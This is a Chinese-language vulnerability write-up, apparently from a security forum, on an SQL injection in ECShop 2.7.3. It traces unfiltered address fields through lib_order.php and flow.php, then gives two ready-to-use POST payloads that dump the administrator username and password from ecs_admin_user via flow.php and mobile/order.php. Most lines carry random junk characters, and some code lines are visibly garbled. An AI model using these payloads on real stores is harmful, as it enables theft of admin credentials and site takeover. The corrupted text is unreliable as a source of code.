前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。: \" R. X9 u7 A5 w* I! [
1 I7 z8 d" r2 J: j
漏洞关键文件:1 {9 p; T! k6 T' t$ @' V# F; ]3 }
y: n( |/ x/ B B: f* _2 i1 n4 ?
/includes/lib_order.php" {8 F7 w: A ^5 L* k; Y* j
4 I& d5 j( O0 p2 C
关键函数:
+ f/ h4 w! n" K5 g! i1 M: {" d9 F) Q' c3 Z6 m1 x
/ a" [% @7 ~4 L5 R
* S( \1 g: `3 h9 v. r01 function available_shipping_list($region_id_list)
8 S" l1 Z2 S; \/ R5 v
4 }8 y' }: V+ P3 ]$ t2 ^& t. t02 { 3 j3 a* y# P) {- `6 o
4 V6 i* ]- j* Z+ K+ I8 e5 o03 $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
3 D! {4 Q1 J8 T2 \. K$ k
/ r1 z. {% w: A4 k04 's.shipping_desc, s.insure, s.support_cod, a.configure ' . : F$ \7 s [& x
- k2 X6 r+ Y; z05 'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
5 K7 E. d+ h* k5 I8 J+ M4 Z3 v1 O8 e2 N" k( ^6 ] B, @
06 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .
: X7 O3 L6 {" g" R
, {6 j$ m" ?, {3 p$ V# P07 $GLOBALS['ecs']->table('area_region') . ' AS r '.
5 ~/ D# T* A8 H( o# N$ u
1 ?% i5 H9 U6 \: ^* N08 'WHERE r.region_id ' . db_create_in($region_id_list) .
4 T1 F5 k3 }% ~! ?/ \. B2 B: f9 A( s6 z6 h5 O$ h/ k6 ~1 o. _
09 ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; / R5 n# n! D) ~
/ q. p6 n# x3 k6 ?7 S10 & @7 i6 d4 n: P( L4 o
" M! A- h/ L- |6 ]5 U4 z2 Y11 return $GLOBALS['db']->getAll($sql); + W7 l% ?+ F! ?
# ?5 m) W* c% Y% `: T- e# Q5 Q12 } ) V! F% V, M4 ?, ~
! q4 D# i/ L( a; i9 K
显然对传入的参数没有任何过滤就带入了查询语句。* r8 [0 U4 a$ m) U5 t
/ [0 p( q8 F: q4 G$ N6 V/ d( o
下面我们追踪这个函数在flow.php中:6 J; d) g% w ?+ K& C
第531行:
. B3 ?: p/ |. b' T, i) ~' S. S- a( o" J8 F: E
1 $shipping_list = available_shipping_list($region);
$ \( g9 g7 x5 |0 n7 G
9 L- B9 h D1 ] ( \, f+ ~0 B# F- f& X
, M9 R3 s. J4 e$ j; B
& |/ K8 r+ l# u8 N+ I: ]
$ v- }7 Q2 ?1 n9 K0 g% {再对传入变量进行追踪:
) r, E3 Q7 X; \( c% }% i
3 z3 i* A n- K0 \& A! s0 X第530行:
( v9 x* t$ ~0 a5 L1 a
* P' ^0 y; w! \: s3 {: D N; M7 ?# B1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
& P% B, d" V3 @; T" B7 h7 s
. g! _! r- i( ], t0 g 4 Z S* R2 I; M- n) T$ `) g
! Z& E' i# h) B& N0 ^ ) P. v, L! Z+ O1 ]- B
0 J. M/ S2 L, h5 y2 _/ ?8 I第473行: 0 y5 D- [+ h5 H: K3 C7 c8 P
( b* w; H2 E2 T" a/ E+ {1 $consignee = get_consignee($_SESSION['user_id']);
8 d) x! k2 K8 z, Q) Q$ s q! d
到了一个关键函数:
- s& f1 u* H+ @) _
5 \) E% P! d7 E; J4 r/includes/lib_order.php
7 u! P0 I) N1 T9 m
" W2 n0 }6 M$ d 3 B+ W/ e8 k. Q
! |6 u# z5 ]8 f
& J; b( [; f1 s+ R+ }% e
' B$ t4 m) p7 D9 ~) A
01 function get_consignee($user_id) * g0 T! m1 h. h; C
: ~5 s$ O; a/ m; N02 { 1 P b9 t2 Y; S6 H9 P* b
8 u6 {, w! Z% e: J: }, s
03 if (isset($_SESSION['flow_consignee'])) * o8 t# T9 P* z0 q+ p9 e- j
; v( ~* p, U3 U& j
04 { ' x" Y t/ K; O- u' Z F/ J- m
% M' ^! q7 D3 L/ j9 O! p
05 /* 如果存在session,则直接返回session中的收货人信息 */
3 H% L% z1 ~0 D7 _# N+ d% c2 c4 m4 w
06 - a; k( G/ J& p( l4 U: A1 D ^
( r, v5 ]$ B2 d07 return $_SESSION['flow_consignee'];
6 j$ w" K* e4 f. Q B Q+ L, \3 x( X) U* R& [: k* _
08 } % x% m1 i- y$ A# \
/ ^. S( Q( G( R+ o! ^- b! f09 else
* I, ~. f& Z) K$ _) W& o& i' S3 Z) y4 Z1 @6 l, W" P# k
10 {
5 }0 q, z0 |; v3 h- R" Q: Y" R! Z" v A
11 /* 如果不存在,则取得用户的默认收货人信息 */
. A1 W( k$ r2 p) `4 @" |( D
. d; g3 v. K, e; k12 $arr = array();
% ^- r! J; B7 }) g1 a$ q9 J4 O( S4 i4 |: S( t
13
/ U( \ U" ^$ c; X" @
& b$ e8 w6 I2 O4 x+ C/ h14 if ($user_id > 0) : x& c1 e, m( ~& Y3 K% T# x: s
9 c. C3 @4 U9 d5 p) q5 A
15 { 8 L* O `) ~% R' Q! }% V9 p T: |0 {
, ~! Z, [* Q0 l+ q16 /* 取默认地址 */ ( |1 c' z6 V" i9 n8 b/ B2 a& K
0 s% }3 h/ b: l6 Y
17 $sql = "SELECT ua.*". " n1 U6 S, Y$ Q5 X; W6 y: W' d1 V- Y A
- q r; I5 ^: M- X; E3 x4 H% C
18 " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.
Z- o% W/ b- W" F
% n w8 e, I) u1 m: K. H4 O19 " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; " S9 K" G( |8 T, X9 f" K6 y# n
8 R; T% d0 \* Z0 O
20 4 z" p; g' u4 G4 K! O
3 F2 G- V+ r* F6 U" P+ J5 j4 [
21 $arr = $GLOBALS['db']->getRow($sql); 5 c' L9 S+ L* E- q, n
! K4 c6 ^$ U3 V! |% [
22 } 3 ^+ _1 R1 Y2 e+ \4 E& v( I& F M
- M6 e5 g/ S3 M23 0 [* w( J( M; B. S1 B
( K+ K y7 p. R! F
24 return $arr; 9 g* _) i2 ~: b9 L! `5 `
. N0 Y+ W5 x" n' P1 f25 } : B4 \$ i- |9 u* Y. M4 I- L; b0 y
, h, {# B( U$ [$ H, J7 U26 }
g, @! e. E3 x+ h3 U# L7 t6 F5 K+ V0 x- l2 P* k; G5 w/ F
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?5 J: S9 B' R: Y. y4 }0 T
/ Q* m, V4 |2 K3 a; Y 8 r8 D7 ^2 v. X! l8 s$ N6 H, S
% h: ]% u$ `; t5 S关键点:
6 e# w" g: s8 a" o( [0 X) F6 Q9 }, n0 q1 Y8 t" }3 W
第400行: $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
+ E3 r; r; i% M; q- T! i, ?8 m' X9 p
这里对传入参数反转义存入$_SESSION中。
% U7 |2 i) b& d5 w1 z) P5 I0 A5 `( u% F* ~9 Q4 ^4 t
: Q& {6 R: }; B+ q" d
& a8 N0 L$ D) K+ n6 b8 t$ N; a" p& Q* l然后看下:
$ ^: R0 [* r% H2 Q
5 P! L4 e" w6 M4 b' `( X* k K
+ B2 ]# a% A: e+ i
: t0 G- H" |: i: D; L3 S( F w: D
9 q* y5 {( s5 Y0 q! K: ^3 b. J$ ?9 G% _: r5 } A
01 $consignee = array(
$ k2 s7 W5 v. i" p: Z( L
9 k2 b1 r+ K5 _ `02 'address_id' => empty($_POST['address_id']) ? 0 :intval($_POST['address_id']),
& ]8 o/ u3 L1 }& _! ~8 V+ V/ s
, T5 v6 t9 v# {7 q% u03 'consignee' => empty($_POST['consignee']) ? '' : trim($_POST['consignee']),
% z7 x! V8 f% H. r2 r) C# U+ _& A5 v2 B8 s( |
04 'country' => empty($_POST['country']) ? '' _POST['country'], $ P8 s0 b6 M' e& E
% l4 @% A+ a6 z% {% T
05 'province' => empty($_POST['province']) ? '' _POST['province'], 3 X% x3 c$ |' V1 q# M- y6 T0 X
7 j' B3 C9 U( H( j$ |06 'city' => empty($_POST['city']) ? '' _POST['city'],
& E6 }/ U0 I$ P, v4 s
$ m/ k0 L$ {4 d, H07 'district' => empty($_POST['district']) ? '' _POST['district'], + I5 Q$ v! w S
: a( L* A6 P: p! U# q
08 'email' => empty($_POST['email']) ? '' _POST['email'],
8 a d3 X. K2 t+ W! O# `: \: _& y: w/ b& x* e$ K
09 'address' => empty($_POST['address']) ? '' _POST['address'], 4 I* B# g7 t3 a- \& _- Y( N, {
, Q! d/ E/ @+ v
10 'zipcode' => empty($_POST['zipcode']) ? '' : make_semiangle(trim($_POST['zipcode'])),
6 E5 i' h( {8 I( p
7 |# t& Q& J0 H+ ^7 ^11 'tel' => empty($_POST['tel']) ? '' : make_semiangle(trim($_POST['tel'])),
7 D4 v% O2 z" r
/ S8 e4 f/ _2 q; t6 _, I, T% S12 'mobile' => empty($_POST['mobile']) ? '' : make_semiangle(trim($_POST['mobile'])), 5 n" u$ c# w- R! W0 Z, b
! y, G( R4 l7 o6 k6 i13 'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], ! ^7 E6 a# y7 g: ^
8 q* Q) `! i. B3 `% g$ `( m/ X14 'best_time' => empty($_POST['best_time']) ? '' _POST['best_time'],
1 l& K* h- F" c: R! M* j: Z t8 o) e+ ?
7 |2 g t5 [+ ~4 x15 ); 9 q' V7 y9 w$ X. ]7 r; ]! r
/ {1 P$ c M; N: K
好了注入就这样出现了。
; L! n# v4 D( S- N
1 B1 C- b3 L% v$ i7 {2 P% ?2 i3 t==================
" m* M' B4 q- _4 n1 v4 h: A2 W& p8 W# G# `, a# j
注入测试:
" P; i$ m S7 |$ \" b; o1 e# b; [+ v0 ~0 i) R2 u: \* K. O
环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
; G8 f/ n( q" Z
0 z A# M$ L4 y4 G% k1 O, [测试程序:ECShop_V2.7.3_UTF8_release1106
/ p( S L& A1 C$ h% r0 W& S" K: J4 V# I0 r& e- ]% U+ z
; J) ~% g& \ a
1 e6 G7 _, m3 v+ S0 q+ S4 f3 J1.首先需要点击一个商品加入购物车
& |3 m5 N0 J$ i* X, ], S/ z+ j
9 l+ x8 J, j6 i! I7 j2.注册一个会员帐号2 |! _% `' q2 t
. {! c: u1 ^- L. Z7 c# a
3.post提交数据
N: u; a" P, }) U
p, I! ~7 q7 }9 j1 o/ \ 8 v. K3 m' a+ v' b8 E& I
: q5 q( X" o% T% e+ u1 http://127.0.0.1/ecshop/flow.php : t1 j, Q+ E; e4 @. R+ I
& t, t5 W! ~# x' W9 _1 L- I
2
4 z1 _' `7 U' d3 R+ | E: t$ @: E
( K n- `0 F/ D' T3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
0 \& n4 L4 B M2 ?举一反三,我们根据这个漏洞我们可以继续深入挖掘:
4 A9 S9 I7 {$ v- C. h! O& l( k5 l( g( [2 i% y
我们搜寻关键函数function available_shipping_list()
7 M- {* Q n; B( Q5 Z8 N& B" o' y# w
在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同& M/ V5 I, K- r# l" d* C- I9 S5 q
; O0 Y6 I3 j$ X. V/ c+ N) R8 L利用exp:
) u+ l( {. Z+ a4 _# |" M9 G7 N3 [* D. z1 Q
1.点击一个商品,点击购买商标
: ?3 C( v5 f$ J# H" B) |
+ `% \ M7 q: ~1 `6 f2.登录会员帐号! S: E, J2 V' v+ R9 y
- A3 Z7 }( e2 }9 ?1 h
3.post提交:) A$ N* N+ I* @" G( y q" J
' n8 a5 t: x1 m+ ]$ E# `http://127.0.0.1/ecshop/mobile/order.php3 C- e, H5 P f. A
7 P1 g8 o0 l" }* w ! ~: \* t: _9 O% l$ }
' p5 i) x3 w2 Q2 j+ ccountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=5 U$ H, @0 ^' v/ B
) d) z9 n, t" F! F6 { |